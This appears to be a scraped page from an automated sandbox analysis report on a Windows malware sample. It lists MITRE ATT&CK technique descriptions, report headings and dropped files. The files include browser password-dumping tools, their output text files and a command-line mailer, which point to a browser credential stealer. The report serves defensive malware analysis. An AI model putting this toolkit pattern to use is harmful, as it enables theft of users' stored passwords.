Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: CriticalSectionstrlen$CurrentEnterLeaveThreadmemcpy
String ID: MATCH
API String ID: 858963765-2366572469
Opcode ID: b32f27a28a07a5ab8103c67204f34e110391b25bec14745c7e99dae7b2161c79
Instruction ID: 84fdbdb7d3695ca7691bf99c5f48ee8d2958dfa6757eaf5586abaeea4a5b05ae
Opcode Fuzzy Hash: b32f27a28a07a5ab8103c67204f34e110391b25bec14745c7e99dae7b2161c79
Instruction Fuzzy Hash: 7AF0C272A0113477C520316B6C0AEDBFA5CDF467B8F520127FA08A3642EB6AAC1181EC

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0zu73p2YBu.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\ .exe

C:\Users\user\AppData\Local\Temp\600.tmp\1.jpg

C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe

C:\Users\user\AppData\Local\Temp\600.tmp\user-PC_ChromePass.txt

C:\Users\user\AppData\Local\Temp\600.tmp\user-PC_OperaPassView.txt

C:\Users\user\AppData\Local\Temp\600.tmp\user-PC_PasswordFox.txt

C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe

C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe

C:\Users\user\AppData\Local\Temp\600.tmp\blat.dll

C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe

C:\Users\user\AppData\Local\Temp\600.tmp\blat.lib

C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe

C:\Users\user\AppData\Local\Temp\600.tmp\ip.bat

\Device\ConDrv

\Device\Null

Windows Analysis Report
0zu73p2YBu.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre